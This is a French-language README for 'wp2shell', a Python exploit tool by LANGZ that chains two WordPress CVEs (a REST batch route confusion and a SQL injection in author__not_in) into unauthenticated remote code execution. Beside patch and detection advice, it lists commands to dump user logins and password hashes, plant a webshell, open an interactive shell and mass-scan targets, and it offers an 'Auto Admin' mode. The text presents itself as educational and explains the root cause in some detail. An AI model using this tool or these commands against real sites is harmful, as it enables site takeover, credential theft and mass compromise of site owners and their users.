
Outil d'exploitation Python enchaînant la confusion de route par lots REST CVE-2026-63030 avec l'injection SQL CVE-2026-60137 pour obtenir une RCE WordPress non authentifiée, une lecture de base de données et le déploiement d'un webshell.
Auteur : LANGZ
CVE : CVE-2026-63030 (Chaîné avec CVE-2026-60137)
Sévérité : Critique (CVSS 9.8)
Type : Exécution de code à distance pré-authentification (RCE)
Cet outil est fourni strictement à des fins éducatives et pour des tests de sécurité autorisés uniquement.
En utilisant cet outil, vous acceptez que :
Si vous utilisez cet outil contre un système sans autorisation, vous commettez un crime.
L'auteur ne cautionne, ne soutient et n'assume aucune responsabilité pour de telles actions.
CVE-2026-63030 est une faille de confusion de routes par lots de l'API REST (CWE-436) dans le cœur de WordPress, introduite dans la version 6.9. Lorsqu'elle est chaînée avec CVE-2026-60137 (une injection SQL aveugle dans le paramètre author__not_in de WP_Query), elle permet à un attaquant non authentifié d'obtenir une exécution complète de code à distance sur une installation WordPress par défaut.
Ce qu'un attaquant peut faire :
Pourquoi c'est dangereux :
Mettez à jour WordPress vers une version corrigée :
| Version actuelle | Mettre à jour vers |
|---|---|
| 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.0 – 6.8.5 | 6.8.6 (correctif SQLi uniquement) |
Remarque : WordPress a activé les mises à jour automatiques forcées, mais les sites dont les mises à jour automatiques sont désactivées ou dont l'hébergement géré retarde les mises à jour restent exposés. Vérifiez que la mise à jour a bien été appliquée.
POST vers /wp-json/batch/v1POST vers ?rest_route=/batch/v1Recherchez :
POST inhabituelles vers /wp-json/batch/v1 ou ?rest_route=/batch/v1 dans les journaux d'accès/wp-content/cache/ ou d'autres répertoires accessibles par le webSi vous trouvez des indicateurs de compromission, la simple suppression des fichiers et du compte administrateur ne suffit pas. Effectuez une réponse complète à incident et envisagez une reconstruction complète du système.
La chaîne d'exploitation combine deux vulnérabilités :
Le processeur de lots de l'API REST de WordPress (serve_batch_request_v1) présente un bug d'indexation de type off-by-one. Lorsque wp_parse_url() échoue sur le chemin d'une sous-requête (par exemple, "///"), le WP_Error résultant est poussé dans $validation[] mais pas dans $matches[]. Cela désynchronise les deux tableaux, ce qui fait que chaque requête suivante est distribuée sous le mauvais gestionnaire.
En imbriquant un lot soigneusement structuré dans un autre lot, un attaquant peut router une requête validée par le schéma d'un point de terminaison à travers le rappel d'un point de terminaison complètement différent — contournant entièrement les vérifications de permissions.
La requête confuse atterrit dans le paramètre author__not_in de WP_Query. WordPress convertit la chaîne en tableau mais saute la désinfection absint(), permettant une injection SQL brute. L'outil l'utilise pour :
UNION SELECT)WP_PostUne fois la configuration terminée (découverte du préfixe de table et de l'ID administrateur), la charge utile d'escalade se déclenche en une seule requête HTTP :
UNION)L'outil utilise ensuite les identifiants administrateur générés pour déployer un webshell basé sur une extension pour l'exécution de commandes système.
# Single target check
python3 wp2shell.py http://target.com
# Check with active SQLi confirmation
python3 wp2shell.py http://target.com --confirm-sqli
# Read database (fingerprint)
python3 wp2shell.py http://target.com --read --preset fingerprint
# Read user logins and password hashes
python3 wp2shell.py http://target.com --read --preset users
# Deploy webshell and run a command
python3 wp2shell.py http://target.com --shell --cmd id
# Interactive shell
python3 wp2shell.py http://target.com --shell -i
# Mass scan from file
python3 wp2shell.py targets.txt
Exécutez sans arguments pour ouvrir le menu interactif :
python3 langz.py
══════════════════════════════════════════════════════════════
██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗
██║ ██╔══██╗████╗ ██║██╔════╝ ╚══███╔╝
██║ ███████║██╔██╗ ██║██║ ███╗ ███╔╝
██║ ██╔══██║██║╚██╗██║██║ ██║ ███╔╝
███████╗██║ ██║██║ ╚████║╚██████╔╝███████╗
╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚══════╝
▓▒░ L A N G Z T O O L S ░▒▓
Author : LANGZ
CVE : (CVE-2026-63030)
──────────────────────────────────────────────────────────────
[1] Single Target - Check
[2] Mass Target - Check
[3] Single Target - Auto Admin
[4] Mass Target - Auto Admin
[5] Exit
──────────────────────────────────────────────────────────────
Results -> Results/results.txt
══════════════════════════════════════════════════════════════
Ce projet est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.
L'auteur LANGZ n'assume aucune responsabilité pour toute utilisation abusive ou tout dommage causé par cet outil.
Auteur : LANGZ
CVE : CVE-2026-63030
| Aspect | Détail |
|---|
| Versions affectées | WordPress 6.9.0 – 6.9.4, WordPress 7.0.0 – 7.0.1 |
| Affectées par la SQLi uniquement | WordPress 6.8.0 – 6.8.5 (CVE-2026-60137 uniquement) |
| Authentification requise | Aucune |
| Interaction utilisateur | Aucune |
| Impact | Compromission complète du site — lecture/écriture de la base de données, téléversement de fichiers PHP arbitraires, exécution de commandes système |
| Statut d'exploitation | Activement exploitée dans la nature ; plus de 62 802 adresses IP attaquantes uniques observées |
| Option | Description |
|---|
--timeout | Délai d'expiration des requêtes en secondes (par défaut : 15) |
--proxy | Proxy HTTP (par exemple, http://127.0.0.1:8080) |
--threads | Threads parallèles pour le scan de masse (par défaut : 50) |
--sleep | Délai de synchronisation SQL pour la confirmation aveugle (par défaut : 3) |
--samples | Paires de synchronisation pour la confirmation (par défaut : 3) |
--confirm-sqli | Envoyer une charge utile de confirmation SQLi active |
--preset | fingerprint ou users |
--query | Expression SQL personnalisée à lire |
--prefix | Préfixe de table de base de données (par défaut : wp_) |
--max-length | Nombre maximal de caractères par valeur (par défaut : 128) |
--technique | auto, union, blind ou error |
--user | Nom d'utilisateur administrateur (pour --shell) |
--password | Mot de passe administrateur (pour --shell) |
--cmd | Commande à exécuter sur la cible |
-i, --interactive | Ouvrir un shell interactif |